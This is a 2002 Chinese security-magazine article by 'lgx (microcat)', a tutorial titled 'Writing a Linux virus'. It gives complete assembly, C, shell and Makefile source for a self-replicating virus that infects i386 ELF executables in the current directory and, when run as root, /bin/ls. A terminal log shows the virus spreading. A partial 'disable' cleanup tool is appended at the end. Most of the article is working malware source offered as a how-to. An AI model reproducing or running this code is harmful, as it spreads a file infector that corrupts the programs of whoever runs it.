首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第31期->技术专题
作者:lgx(microcat)
日期:2002-04-18
按《中华人民共和国计算机信息系统安全保护条例>> 第二十八条的定义:
"计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,
影响计算机使用,并能自我复制的一组计算机指令或者程序代码。"
上面的程序似乎不应该算病毒。 :) 它的确可能造成数据毁坏,但是,相当多的
软件都可能造成数据毁坏,这属于程序bug。
写一只 Linux 病毒
计算机病毒是一段能自我复制的代码。本文描述一只感染Linux下ELF可执行文件的
病毒。
该病毒把自己插入ELF可执行文件的文本段尾部,然后修改ELF文件头中的执行入口
指向病毒开头。这样,被感染文件执行时,病毒首先运行,尝试感染当前目录下的可执行文件和/bin/ls,最后,病毒跳到原入口点执行原程序的代码。
病毒由三个文件组成:
1. start.s 病毒头部
2. virus.c 病毒主体
3. virus.h 几个常量定义
下面列出各个文件。
start.s :
.text
.globl _start
.type _start,@function
_start:
jmp old_entry
quit:
popl %eax
int $0x80
.skip 28
old_entry:
movl $quit,%eax
pusha
call virus_main
popa
jmp *%eax
start是可执行文件缺省入口点,病毒从这里开始运行。首先短跳转到old_entry
入口处运行。注意"movl $quit, %eax"语句,在被感染文件里,"$quit" 被替换成感
染前的执行入口地址(在感染时修改);在初次编译出的病毒里,quit实际上是_exit,这一点后面解释。然后用"pusha"保存通用寄存器,调用病毒主体virus_main,执行感染工作。最后,用"jmp *%eax"跳到原入口运行。
通常第一次感染都需要手工把病毒嵌入一个宿主文件里。这里用了一个小技巧使
病毒自身就是一个可执行文件。直接运行病毒就开始第一次感染。而且,有趣的是病
毒自己会感染自己。在编译出的病毒可执行文件里,"jmp *%eax" 实际跳转到"quit"
标签处执行。"int $0x80" 执行系统调用,系统调用号保存在eax中。因为"pop %eax"没有push,那么"pop %eax"后eax值是什么呢?这是程序初始堆栈栈顶的值,就是参数个数。不加参数运行病毒时,eax=1,就是_exit 系统调用。这使病毒可以安全退出。
".skip 28" 做代码对齐。为什么是28呢? 我试过其它一些值,都出错了。查阅了
一些Intel文档,至今不知道为什么。
virus.c :
#include <sys/types.h>
#include <asm/stat.h>
#include <fcntl.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <asm/unistd.h>
#include <elf.h>
#include "virus.h"
#define SEEK_SET 0
#define INFECTION_SIZE 0x1000
#define EI_MAG10 10
#define ELFMAG10 2
#define open(fd,flag,mode) syscall3(__NR_open,fd,flag,mode)
#define read(fd,buf,len) syscall3(__NR_read,fd,buf,len)
#define write(fd,buf,len) syscall3(__NR_write,fd,buf,len)
#define lseek(fd,off,set) syscall3(__NR_lseek,fd,off,set)
#define stat(file,stat) syscall2(__NR_stat,file,stat)
#define getcwd(buf,len) syscall2(__NR_getcwd,buf,len)
#define readdir(fd,dir,cnt) syscall3(__NR_readdir,fd,dir,cnt)
#define close(fd) syscall1(__NR_close,fd)
#define chdir(path) syscall1(__NR_chdir,path)
#define getuid() syscall(__NR_getuid)
static int get_reloc_pos(void)
{
return OLD_ENTRY;
}
static char *get_virus_start(void)
{
__asm__ volatile ("
jmp 2f\n\t
1: popl %%eax\n\t
sub %0,%%eax\n\t
jmp relocpos\t
2: call 1b\n\t
relocpos:"
:: "i"(DIFF));
}
static int syscall(int no)
{
__asm__ volatile ("
movl 0x8(%esp),%eax
int $0x80
");
}
static int syscall1(int no,unsigned p1)
{
__asm__ volatile ("
pushl %ebx
movl 0xc(%esp),%eax
movl 0x10(%esp),%ebx
int $0x80
popl %ebx
");
}
static int syscall2(int no,unsigned p1,unsigned p2)
{
__asm__ volatile ("
pushl %ebx
pushl %ecx
movl 0x10(%esp),%eax
movl 0x14(%esp),%ebx
movl 0x18(%esp),%ecx
int $0x80
popl %ecx
popl %ebx
");
}
static int syscall3(int no,unsigned p1,unsigned p2,unsigned p3)
{
__asm__ volatile ("
pushl %ebx
pushl %ecx
pushl %edx
movl 0x14(%esp),%eax
movl 0x18(%esp),%ebx
movl 0x1c(%esp),%ecx
movl 0x20(%esp),%edx
int $0x80
popl %edx
popl %ecx
popl %ebx
");
}
int strlen(const char* str)
{
register len = 0;
while (str[len]) ++len;
return len;
}
int validate(Elf32_Ehdr *eh)
{
#define id eh->e_ident
if (id[EI_MAG0] != ELFMAG0 || id[EI_MAG1] != ELFMAG1
|| id[EI_MAG2] != ELFMAG2 || id[EI_MAG3] != ELFMAG3){
return 0;
}
if (eh->e_type != ET_EXEC || eh->e_machine != EM_386
|| eh->e_version != EV_CURRENT ) {
return 0;
}
if (id[EI_MAG10] == ELFMAG10) {
return 0;
}
#undef id
return 1;
}
int inflect(char* name)
{
int fd,i;
int data = -1,text = -1;
struct stat st;
Elf32_Ehdr eh;
Elf32_Phdr *ph;
Elf32_Shdr *sh;
unsigned long end_code;
char *buf,*virus;
size_t phlen,shlen,buflen;
if (stat(name,&st) < 0) {
return 0;
}
if ((fd = open(name,O_RDWR,0)) < 0) {
return 0;
}
//read eh
if (read(fd,&eh,sizeof(eh)) != sizeof(eh)) {
goto err;
}
if (!validate(&eh)) {
goto err;
}
//read ph
if (lseek(fd,eh.e_phoff,SEEK_SET) < 0) {
goto err;
}
phlen = eh.e_phnum * sizeof(*ph);
ph = alloca(phlen);
if (read(fd,ph,phlen) != phlen) {
goto err;
}
//get text and data segmeng index
for (i=0; i<eh.e_phnum; i++) {
if(ph[i].p_type == PT_LOAD) {
if (ph[i].p_offset)
data = i;
else
text = i;
}
}
//sanity check
if (data == -1 || text == -1) {
goto err;
}
if ( ph[text].p_vaddr + ph[text].p_filesz +
INFECTION_SIZE > ph[data].p_vaddr) {
goto err;
}
//patch ph
end_code = ph[text].p_offset + ph[text].p_filesz;
ph[text].p_filesz += INFECTION_SIZE;
ph[text].p_memsz += INFECTION_SIZE;
for (i=0; i<eh.e_phnum; i++) {
if (ph[i].p_offset >= end_code)
ph[i].p_offset += INFECTION_SIZE;
}
//read sh
if (lseek(fd,eh.e_shoff,SEEK_SET) < 0) {
goto err;
}
shlen = eh.e_shnum * sizeof(*sh);
sh = alloca(shlen);
if (read(fd,sh,shlen) != shlen) {
goto err;
}
//patch sh
for (i=0; i<eh.e_shnum; i++) {
if (sh[i].sh_offset > end_code)
sh[i].sh_offset += INFECTION_SIZE;
}
//write ph
if (lseek(fd,eh.e_phoff,SEEK_SET) < 0) {
goto err;
}
if (write(fd,ph,phlen) != phlen) {
goto err;
}
//write sh
if (lseek(fd,eh.e_shoff,SEEK_SET) < 0) {
goto err;
}
if (write(fd,sh,shlen) != shlen) {
goto err;
}
//move
if (lseek(fd,end_code,SEEK_SET) < 0) {
goto err;
}
buflen = st.st_size - end_code;
buf = alloca(buflen);
if (read(fd,buf,buflen) != buflen) {
goto err;
}
if (lseek(fd,end_code + INFECTION_SIZE,SEEK_SET) < 0) {
goto err;
}
if (write(fd,buf,buflen) != buflen) {
goto err;
}
//write virus
if (lseek(fd,end_code,SEEK_SET) < 0) {
goto err;
}
virus = get_virus_start();
if (write(fd,virus,VLEN) != VLEN) {
goto err;
}
//modify virus
if (lseek(fd,end_code + OLD_ENTRY,SEEK_SET) < 0) {
goto err;
}
if (write(fd,&eh.e_entry,4) != 4) {
goto err;
}
//patch eh
if (eh.e_shoff >= end_code) {
eh.e_shoff += INFECTION_SIZE;
}
eh.e_ident[EI_MAG10] = ELFMAG10;
eh.e_entry = ph[text].p_vaddr + ph[text].p_memsz - INFECTION_SIZE;
//write eh
if (lseek(fd,0,SEEK_SET) < 0) {
goto err;
}
if (write(fd,&eh,sizeof(eh)) != sizeof(eh)) {
goto err;
}
close(fd);
return 1;
err:
close(fd);
return 0;
}
void inflects(void)
{
int fd,len,total = 200;
struct dirent dir;
char dot[2] = {'.',0};
if ((fd = open(dot,O_RDONLY,0)) < 0) {
return ;
}
while(readdir(fd,&dir,1)) {
if (total < 0) {
break;
}
#define dn dir.d_name
len = strlen(dn);
if (!len || dn[0] == ' ' || dn[0] == '.') {
continue;
}
if (dn[len-2] == 'p' && dn[len-1] == 's') {
continue;
}
if(inflect(dn)) {
continue;
}
#undef dn
total--;
}
close(fd);
}
void virus_main(void)
{
char *str = alloca(10);
char bin[] = {'/','b','i','n','\0'};
char ls[] = {'l','s','\0'};
char cwd[4096];
str[0] = 'v';
str[1] = 'i';
str[2] = 'r';
str[3] = 'u';
str[4] = 's';
str[5] = ' ';
str[6] = ':';
str[7] = '-';
str[8] = ')';
str[9] = '\n';
write(1,str,10);
inflects();
if (getuid()) {
return;
}
getcwd(cwd,4096);
chdir(bin);
inflect(ls);
chdir(cwd);
}
这是病毒主体。感染ELF文件的函数inflect没什么好解释的。要注意的是:
1. get_virus_start 利用call来计算内存中病毒体的绝对偏移,
这个技巧经常见于Shell code中。
2. 如果字符串常量长度大于 6 (包括'\0'),gcc会把它放入.rodata区中。
所以,virus_main中用alloca从堆栈分配空间,再逐个字符保存字符
串"virus :_)"。
3. virus.c 不能调用动态库或静态库中的函数。alloca例外,它是gcc的
builtin 函数,其实是个宏。可以安全使用。
virus.h :
#define VOFF 116
#define VLEN 2520
#define OLD_ENTRY 34
#define DIFF 76
这里定义病毒需要的一些常量。VOFF为编译出的病毒可执行文件.text区在文件中偏移,也
就是_start函数在病毒文件中的偏移。VLEN为病毒长度。OLD_ENTRY为病毒体中保存的原入口
地址相对病毒开头的偏移,即old_entry - start + 1("mov"指令opcode为一个字节)。DIFF
值被get_virus_start函数用于在内存中定位病毒的起始地址。
注意,virus.h 是自动生成的。病毒编译了两次。第一次用缺省的virus.h(里面的常数值
可以随便定义)编译,然后makeh教本分析编译出的病毒可执行文件,生成正确的virus.h文
件,然后重新编译出正确的病毒。virus.h 和 二次编译是为了免除手工计算一些值的麻烦,
使所有工作自动化,方便修改调试。
这是makeh 脚本:
#!/bin/sh
START=`nm -td virus | grep -w _start | cut -f1 -d ' '`
END=`nm -td virus | grep -w _end | cut -f1 -d ' '`
OLDENTRY=`nm -td virus | grep -w old_entry | cut -f1 -d ' '`
RELOCPOS=`nm -td virus | grep -w relocpos | cut -f1 -d ' '`
VOFF=`expr $START - 134512640`
VLEN=`expr $END - $START - 4096`
OLD_ENTRY=`expr $OLDENTRY - $START + 1`
DIFF=`expr $RELOCPOS - $START`
echo "#define VOFF $VOFF" > virus.h
echo "#define VLEN $VLEN" >> virus.h
echo >> virus.h
echo "#define OLD_ENTRY $OLD_ENTRY" >> virus.h
echo "#define DIFF $DIFF" >> virus.h
"134512640" 就是 0x8048000,Linux下可执行文件缺省加载地址。
最后是一个Makefile 文件:
CC = gcc
CFLAGS = -nostdlib -w
default: all
all: virus
virus: start.s virus.c virus.h
$(CC) $(CFLAGS) -o virus start.s virus.c
./makeh
$(CC) $(CFLAGS) -o virus start.s virus.c
clean:
rm -f virus *~
如果用RedHat 7.2,可以定义 CC = gcc3,gcc3 会生成更小的病毒代码。
试验:
[root@cat virus24]# ls
Makefile makeh start.s virus.c virus.h
[root@cat virus24]# make
gcc -nostdlib -w -o virus start.s virus.c
./makeh
gcc -nostdlib -w -o virus start.s virus.c
[root@cat virus24]# ls -l virus
-rwxr-xr-x 1 root root 3844 Apr 22 14:37 virus
[root@cat virus24]# ./virus
virus :-)
[root@cat virus24]# ls -l virus
virus :-)
-rwxr-xr-x 1 root root 7940 Apr 22 14:38 virus
[root@cat virus24]# ./virus
virus :-)
virus :-)
[root@cat virus24]# ls
virus :-)
Makefile makeh start.s virus virus.c virus.h
[root@cat virus24]#
附一个disable (*NOT CLEAN*) 这只BUG(包括那个7350)的程序:
usage: find /bin -exec /root/disable {} \;
//disable.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>
#include <sys/mman.h>
#ifdef sun
#include <sys/elf_SPARC.h>
#include <sys/elf_386.h>
#endif
#include <stdlib.h>
#include <limits.h>
#include <string.h>
int main(int argc,char **argv)
{
int fd,i;
unsigned long old_entry;
Elf32_Ehdr *objeh;
char *objfile,*objdata,*objsn;
struct stat objst;
Elf32_Shdr *objsh;
int obj_text_ndx = -1;
/* Open & mmap object file */
objfile = argv[1];
if ((fd=open(objfile,O_RDWR,0)) < 0) {
perror("Open object file");
return 1;
}
fstat(fd,&objst);
if ((objdata=(char*)mmap(NULL,objst.st_size,
PROT_READ|PROT_WRITE,MAP_SHARED,fd,0)) == NULL){
perror("mmap");
return -1;
}
close(fd);
/* Now get objfile infomation */
// fprintf(stderr,"\nNow collecting obj file infomation .....\n");
objeh = (Elf32_Ehdr*)objdata;
if (objeh->e_ident[0] != 0x7f || objeh->e_ident[1] != 'E'
|| objeh->e_ident[2] != 'L' || objeh->e_ident[3] != 'F') {
fprintf(stderr,"eeh: skip %s\n",argv[1]);
return 0;
}
#ifdef DEBUG
printf("obj: e_shoff:%#x,e_shnum:%d,e_shentsize:%d\n",
objeh->e_shoff,objeh->e_shnum,objeh->e_shentsize);
printf("obj: e_shstrndx:%d,e_phoff:%#x\n",
objeh->e_shstrndx,objeh->e_phoff);
#endif
objsh = (Elf32_Shdr*)(objdata + objeh->e_shoff);
objsn = (char*)(objdata + objsh[objeh->e_shstrndx].sh_offset);
{
Elf32_Shdr *tmp = objsh;
for (i=0; i<objeh->e_shnum; i++,tmp++) {
#ifdef DEBUG
printf("%d off:%#10x size:%#10x entsize:%#10x %s\n",
i,tmp->sh_addr,tmp->sh_size,
tmp->sh_entsize,objsn + tmp->sh_name);
#endif
if (!strncmp(objsn + tmp->sh_name,".text",5)) {
obj_text_ndx = i;
}
}
}
if (obj_text_ndx < 0) {
fprintf(stderr,".text: %s\n",objfile);
return -1;
}
printf("%#x -> %#x\n",objeh->e_entry,objsh[obj_text_ndx].sh_addr);
if (objeh->e_entry != objsh[obj_text_ndx].sh_addr)
objeh->e_entry = objsh[obj_text_ndx].sh_addr;
munmap(objdata,objst.st_size);
return 0;
}
版权所有,未经许可,不得转载